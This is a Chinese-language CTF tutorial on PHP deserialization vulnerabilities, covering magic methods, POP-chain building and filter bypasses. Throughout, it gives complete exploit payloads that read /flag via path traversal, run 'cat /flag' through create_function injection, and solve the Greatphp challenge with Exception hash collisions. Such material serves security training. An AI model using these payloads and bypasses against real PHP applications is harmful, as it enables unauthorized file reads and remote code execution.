什么是反序列化?
反序列化是将数据从序列化的形式(通常是字节流、JSON、XML等格式)转换为原始数据结构或对象的过程。序列化和反序列化是在数据存储、数据传输和数据交换方面常见的概念。
序列化(Serialization)
: 将对象或数据结构转换为可存储或传输的形式,通常是字节流或字符串。序列化的目的是将内存中的对象转换为可以持久化或传输的格式,以便在需要时能够还原为原始的对象。
反序列化(Deserialization)
: 将序列化后的数据重新转换为原始的对象或数据结构。反序列化是序列化的逆过程,它从序列化的形式还原出原始的对象,以便在程序中使用。
常见的序列化格式包括:
1、JSON(JavaScript Object Notation)
: 一种轻量级的数据交换格式,易于人阅读和编写,同时也易于机器解析和生成。
{"name": "John", "age": 30, "city": "New York"}
2、XML(eXtensible Markup Language)
: 一种标记语言,用于存储和传输数据。
<person>
<name>Johnname>
<age>30age>
<city>New Yorkcity>
person>
3、pickle(Python 特有的序列化格式)
: Python 中的序列化模块,可以将 Python 对象序列化为二进制格式。
import pickle
data = {"name": "John", "age": 30, "city": "New York"}
serialized_data = pickle.dumps(data)
4、Protocol Buffers(protobuf)
: 一种由 Google 开发的二进制序列化格式,用于高效地存储和交换结构化数据。
serialize()
$sites = array('Google', 'Runoob', 'Facebook');
$serialized_data = serialize($sites);
echo $serialized_data;
?>
输出结果:
a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}
unserialize()
$str = 'a:3:{i:0;s:6:"Google";i:1;s:6:"Runoob";i:2;s:8:"Facebook";}';
$unserialized_data = unserialize($str);
print_r($unserialized_data);
?>
输出结果为:
Array
(
[0] => Google
[1] => Runoob
[2] => Facebook
)
class TEST{
public $test1="11"; //公有的
private $test2="22"; //私有的
protected $test3="33"; //保护的
public function test4()
{
echo $this->test1;
}
}
$a=new TEST();
echo serialize($a);
O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:"TESTtest2";s:2:"22";s:8:"*test3";s:2:"33";}
public(公有):公有的类成员可以在**任何地方被访问,**属性被序列化的时候属性值会变成 属性名
protected(受保护):受保护的类成员则可以**被其自身以及其子类和父类访问,**属性被序列化的时候属性值会变成 \x00\*\x00属性名
private(私有):私有的类成员则**只能被其定义所在的类访问,**属性被序列化的时候属性值会变成 \x00类名\x00属性名
\x00表示空字符,占有一个字符位置
php序列化的字母标识
字母标识 | 数据类型 |
---|---|
a | array |
b | boolean |
d | double |
i | integer |
o | common object |
r | reference |
s | string |
C | custom object |
O | class |
N | pointer reference |
R | unicode string |
U | NULL |
php类中包含了一些魔术方法,这些函数可以在代码中任何地方不用声明就可以使用
与PHP(反)序列化有关的魔术方法
反序列化魔术方法
方法 | 解释 |
---|---|
__construct() | 对象创建(new)时会自动调用 |
__destruct | 对象被销毁时触发 |
__wakeup() | 使用unserialize时触发 |
__sleep() | 使用serialize时触发 |
__call() | 在对象上下文中调用不可访问的方法时触发 |
__callStatic() | 在静态上下文中调用不可访问的方法时触发 |
__get() | 用于从不可访问的属性读取数据 |
__set() | 用于将数据写入不可访问的属性 |
__isset() | 在不可访问的属性上调用isset()或empty()触发 |
__unset() | 在不可访问的属性上使用unset()时触发 |
__toString() | 把类当作字符串使用时触发 |
__invoke() | 当脚本尝试将对象调用为函数时触发 |
不可访问的两层含义:
反序列化的常见起点:
__wakeup 一定会调用 //使用unserialize时触发
__destruct 一定会调用 //对象被销毁时触发
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板:
__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用
形如 $this-> $func();
反序列化的常见终点:
__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里
class abaaba{
protected $DoNotGet;
//__get()用于从不可访问的属性读取数据
public function __get($name){ //3
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
//__toString()把类当作字符串使用时触发
public function __toString(){ //4
return $this->Giveme;
}
}
class Onemore{
public $file;
private $filename = "one";
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){ //1、读取函数
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
//__set()用于将数据写入不可访问的属性
public function __set($name, $value){ //2、执行函数
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again"; //5
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
if(isset($_GET['game'])){
unserialize($_GET['game']);
}
else{
show_source(__FILE__);
}
类 abaaba:
类 Onemore:
类 suhasuha:
类 One:
全局函数 safe:
全局代码:
类Onemore的file变量可控,就可通过自定义函数中readfile中的file_get_contents函数来读取flag,问题是触发readfile执行函数?
在类suhasuha中,__set魔术方法存在$this->Giveme = ( $this->action)()
的函数调用,而action是该类的成员变量(可控的),将Onemore::readfile
函数传递给action
即可调用readfile
函数。问题是触发suhasuha类的__set方法?
在类abaaba的__get方法中存在 $ this->DoNotGet-> $ name = “two”
。对未定义的name赋值,及对一个未定义的属性进行赋值时会触发__set魔术方法,那么将DoNotGet赋值为new suhasuha()
,会触发该类的__set方法。如何触发类abaaba中的__get方法?同理类abaaba中的__toString方法中$this->Giveme访问了未定义的属性,则会触发类abaaba的__get方法。
而触发__toString方法需要将一个类作为字符串使用,可以找到在类One中析构方法__destruct存在echo “try”.$this->count.“again”
拼接字符串行为,那么将count赋值为new abaaba(),那么此处就会触发类abaaba中的tostring方法。
综上所述,正向攻击设置new One()–>count=new abaaba(),new abaaba()–>DoNotGet=new suhasuha(),new suhasuha()->action = [new Onemore(),”readfile”];
攻击执行流程为:new abaaba()->tostring->get->new suhasuha()->__set->new Onemore()->readfile。
最后注意safe
函数用%00
绕过。
payload
class abaaba{
protected $DoNotGet;
public function __get($name){
$this->DoNotGet->$name = "two";
return $this->DoNotGet->$name;
}
public function __toString(){
return $this->Giveme;
}
public function __construct($obj){
$this->DoNotGet = $obj;
}
}
class Onemore{
public $file;
private $filename;
public function __construct(){
$this->readfile("images/def.jpg");
}
public function readfile($f){
$this->file = isset($f) ? $f : 'image'.$this->file;
echo file_get_contents(safe($this->file));
}
public function __invoke(){
return $this->filename->Giveme;
}
}
class suhasuha{
private $Giveme;
public $action;
public function __set($name, $value){
$this->Giveme = ($this->action)();
return $this->Giveme;
}
}
class One{
public $count;
public function __construct(){
$this->count = "one";
}
public function __destruct(){
echo "try ".$this->count." again";
}
}
function safe($path){
$path = preg_replace("/.*\/\/.*/", "", $path);
$path = preg_replace("/\..\..*/", "!", $path);
$path = htmlentities($path);
return strip_tags($path);
}
$one = new One();
$suhasuha = new suhasuha();
$one->count = new abaaba($suhasuha);
$Onemore = new Onemore();
$Onemore->file = urldecode("/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/flag");
$suhasuha->action = [$Onemore,"readfile"];
echo urlencode(serialize($one));
O%3A3%3A%22One%22%3A1%3A%7Bs%3A5%3A%22count%22%3BO%3A6%3A%22abaaba%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00DoNotGet%22%3BO%3A8%3A%22suhasuha%22%3A2%3A%7Bs%3A16%3A%22%00suhasuha%00Giveme%22%3BN%3Bs%3A6%3A%22action%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A7%3A%22Onemore%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A41%3A%22%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2F..%00%2Fflag%22%3Bs%3A17%3A%22%00Onemore%00filename%22%3BN%3B%7Di%3A1%3Bs%3A8%3A%22readfile%22%3B%7D%7D%7D%7D
class Test {
public $name = 'test'; // 方法1: 直接属性上赋值。缺点:只能赋值字符串/数组/数字等,不能赋值为一个对象
public $obj;
public $boi;
public function __construct($obj) {
$this->obj = $obj; // 方法2: 构造方法赋值,可以任意赋值,万能!
}
}
$test = new Test("xxx");
$test->boi = "xxx"; // 方法3: 外部赋值,可以赋值为任意类型。缺点:只能给public属性赋值,不能给protected/private属性赋值,不推荐
在函数调用场景下进行任意类下方法执行
error_reporting(0);
class GetFlag
{
public $code;
public $action;
public function get_flag(){
echo "flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}\n";
echo $this->code . $this->action;
}
}
// [new Object,“func”]() 会去调用Object对象的func方法
$g = new GetFlag();
$g->code = 'code';
$g->action = 'action';
[$g, 'get_flag'](); // 数组第⼀个元素是对象,第⼆个元素是⽅法名,就会调⽤该对象下该⽅法。
error_reporting(0);
highlight_file(__FILE__);
class Test
{
public $cmd;
public function __wakeup()
{
$this->cmd = 'hahaha';
}
public function __destruct() {
echo $this->cmd;
system($this->cmd);
}
}
unserialize($_GET['a']);
绕过⽅法:序列化字符串中表示对象属性个数的值⼤于真实的属性个数时会跳过wakeup()
的执⾏。
class Test
{
public $cmd;
public function __construct(){
$this->cmd = 'whoami';
}
}
$a = new Test;
echo serialize($a);
输出:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
修改属性个数后:O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}
将序列化字符串中的 s 改为 S ,具体的字符串值可以⽤ \ + ⼗六进制 的形式表⽰ ⽤处:绕过对序列化字符串的关键字的过滤
O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";s:4:"john";}
O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";S:4:"\6a\6f\68\6e";}
O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}
O:4:"Test":1:{s:3:"cmd";S:6:"\77\68\6f\61\6d\69";}
指针问题
class test {
public $a;
public $b;
public function __construct(){
$this->a = 'aaa';
}
public function __destruct(){
if($this->a === $this->b) {
echo 'you success';
}
}
}
if(isset($_REQUEST['input'])) {
if(preg_match('/aaa/', $_REQUEST['input'])) {
die('nonono');
}
可以利⽤引⽤进⾏绕过
要$this->a 等于 $this->b ,那么就 $this->a = & $this->b;
class test {
public $a;
public $b;
public function __construct(){
$this->b = &$this->a;
}
}
$a = serialize(new test());
echo $a;
//O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}
构造引⽤使得 $b 和 $a 地址相同从⽽绕过检测,达成要求
O:
如preg_match(‘/^O:\d+/’)匹配序列化字符串是否是对象字符串开头
绕过⽅法
class test{
public $a;
public function __construct(){
$this->a = 'abc';
}
public function __destruct(){
echo $this->a.PHP_EOL;
}
}
function match($data){
if (preg_match('/^O:\d+/',$data)){
die('nonono!');
}else{
return $data;
}
}
$a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}';
// +号绕过
$b = str_replace('O:4','O:+4', $a);
unserialize(match($b));
// 将对象放⼊数组绕过 serialize(array($a));
unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}');
快速析构:让__destruct()放在反序列化后⽴刻触发,而不要等脚本执行完成后的垃圾回收销毁对象才触发
作用:绕过对反序列化成功后得到的对象的属性值的检测。
两种方法:
__destruct()
是PHP对象的⼀个魔术⽅法,称为析构函数,顾名思义是当该对象被销毁的时候⾃动执⾏的⼀个函数。 其中以下情况会触发__destruct()
unset($obj)
$obj = NULL
除此之外,PHP还拥有垃圾回收Garbage collection即GC机制。
PHP中GC使用引用计数和回收周期⾃动管理内存对象,那么这时候当我们的对象变成了“垃圾”,就会被GC机制自动回收掉,回收过程中,就会调⽤函数的__destruct()
。
当⼀个对象没有任何引⽤的时候,则会被视为“垃圾”
test 对象被变量 a 引⽤, 所以该对象不是“垃圾”
$a = new test();
⽽如果是这样
new test();
或这样
$a = new test();$a = 1
这样在 test 在没有被引用或在失去引⽤时便会被当作“垃圾”进⾏回收。
class test{
function __construct($i)
{
$this->i = $i;
}
function __destruct()
{
echo $this->i."Destroy...\n";
}
}
new test('1');
$a = new test('2');
$a = new test('3');
echo "————————————
";
输出
1Destroy...
2Destroy...
————————————
3Destroy...
Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
类摘要:
Error implements Throwable {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
类方法:
方法 | 解释 |
---|---|
Error::__construct | 初始化 error 对象 |
Error::getMessage | 获取错误信息 |
Error::getPrevious | 返回先前的 Throwable |
Error::getCode | 获取错误代码 |
Error::getFile | 获取错误发生时的文件 |
Error::getLine | 获取错误发生时的行号 |
Error::getTrace | 获取调用栈(stack trace) |
Error::getTraceAsString | 获取字符串形式的调用栈(stack trace) |
Error::__toString | error 的字符串表达 |
Error::__clone | 克隆 error |
Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。
类摘要:
Exception {
/* 属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 方法 */
public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
final public getMessage ( ) : string
final public getPrevious ( ) : Throwable
final public getCode ( ) : mixed
final public getFile ( ) : string
final public getLine ( ) : int
final public getTrace ( ) : array
final public getTraceAsString ( ) : string
public __toString ( ) : string
final private __clone ( ) : void
}
类属性:
类方法:
方法 | 解释 |
---|---|
Exception::__construct | 异常构造函数 |
Exception::getMessage | 获取异常消息内容 |
Exception::getPrevious | 返回异常链中的前一个异常 |
Exception::getCode | 获取异常代码 |
Exception::getFile | 创建异常时的程序文件名称 |
Exception::getLine | 获取创建的异常所在文件中的行号 |
Exception::getTrace | 获取异常追踪信息 |
Exception::getTraceAsString | 获取字符串类型的异常追踪信息 |
Exception::__toString | 将异常对象转换为字符串 |
Exception::__clone | 异常克隆 |
我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString
方法,这个方法用于将异常或错误对象转换为字符串。
我们以Error为例,我们看看当触发他的 __toString
方法时会发生什么:
$a = new Error("payload",1);
echo $a;
输出如下:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(“payload”)以及当前报错的行号(“2”),而传入 Error("payload",1)
中的错误代码“1”则没有输出出来。
在来看看下一个例子:
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
输出如下:
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}
可见,$a
和 $b
这两个错误对象本身是不同的,但 __toString
方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString
返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception
类适用于PHP 5和7,而 Error
只适用于 PHP 7。
Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题。
[2020 极客大挑战]Greatphp
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}
}
}
}
if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}
?>
源代码解析:
类 SYCLOVER:
全局代码:
安全防范:
解题
include "/flag"
将flag包含进来即可;由于过滤了引号,直接用url取反绕过即可。
echo urlencode("/flag")
echo urlencode(~urldecode("%2f%66%6c%61%67"));
?>
输出
%d0%99%93%9e%98
~
按位取反运算符:对数据的每个二进制位取反,即把1变为0,把0变为1。~x 类似于 -x-1
$str1 = "./flag";
$s = urlencode(~$str1);
$str = "?>=include~".urldecode($s)."?>";
$a = new Exception($str , 1); $b = new Exception($str , 2);
class SYCLOVER {
public $syc;
public $lover;
public function __construct($syc, $lover) {
$this->syc = $syc;
$this->lover = $lover;
}
}
$syc = new SYCLOVER($a, $b);
echo urlencode(serialize($syc));
解题payload:
error_reporting(0);
// highlight_file(__FILE__);
$pwd = getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __construct()
{
$this->key = serialize([new GetFlag, "get_flag"]);
}
}
class GetFlag
{
public $code;
public $action;
public function __construct()
{
$this->code = ";}system('cat /flag');//";
$this->action = "create_function";
}
}
$a = new func();
echo urlencode(serialize($a));
O%3A4%3A%22func%22%3A3%3A%7Bs%3A4%3A%22mod1%22%3BN%3Bs%3A4%3A%22mod2%22%3BN%3Bs%3A3%3A%22key%22%3Bs%3A126%3A%22a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22GetFlag%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A24%3A%22%3B%7Dsystem%28%27cat+%2Fflag%27%29%3B%2F%2F%22%3Bs%3A6%3A%22action%22%3Bs%3A15%3A%22create_function%22%3B%7Di%3A1%3Bs%3A8%3A%22get_flag%22%3B%7D%22%3B%7D
利用create-function来执行命令的
如果可控在第一个参数,需要闭合圆括号和大括号:create_function('){}phpinfo();//', '');
如果可控在第二个参数,需要闭合大括号:create_function('', '}phpinfo();//');
create_function任意代码执行原理
class Test
{
public $cmd = 'cat /flag';
public $name = 'john';
}
function decorate($top, $niddle, $hexstring)
{
$arr = explode(':', $top);
for ($i = 0; $i < count($arr); $i++) {
if (strpos($arr[$i], $niddle) !== false) {
$arr[$i - 2] = preg_replace('/s/', 'S', $arr[$i - 2]);
$arr[$i] = str_replace($niddle, $hexstring, $arr[$i]);
}
}
return join(':', $arr);
}
echo decorate(serialize(new Test), "john", '\6a\6f\68\6e');
O:4:"Test":2:{s:3:"cmd";s:9:"cat /flag";s:4:"name";S:4:"\6a\6f\68\6e";}
绕过特定的某个关键字将序列化字符串中的 s 改为 S ,具体的字符串值可以用 \ + ⼗六进制的形式表示用处:绕过对序列化字符串的关键字的过滤。
解题payload
class Test
{
public $cmd;
public $name;
public function __construct() {
$this->cmd = "cat /flag";
$this->name = "john";
}
}
$aa = new Test;
echo serialize($aa);
输出
O:4:"Test":2:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";}
然后使用下面的方法进行快速析构:
让__destruct()放在反序列化后⽴刻触发,⽽不要等脚本执⾏完成后的垃圾回收销毁对象才触发
绕过对反序列化成功后得到的对象的属性值的检测。
两种⽅法: 1. 修改掉属性个数 2. 删除最后的⼤括号
最终payload
O:4:"Test":3:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";}
O:4:"Test":2:{s:3:"cmd";s:9:"cat%20/flag";s:4:"name";s:4:"john";
class Seri{
public $alize;
public function __construct() {
$this->alize = new Alize();
$this->alize->t1 = &$this->alize->t2;
}
}
class Alize{
public $f = '/flag';
public $t1;
public $t2;
}
echo serialize(new Seri);
输出
O:4:"Seri":1:{s:5:"alize";O:5:"Alize":3:{s:1:"f";s:5:"/flag";s:2:"t1";N;s:2:"t2";R:4;}}
如果希望 $this->a 永远等于 $this->b ,那么就 $ this->a = &$this->b;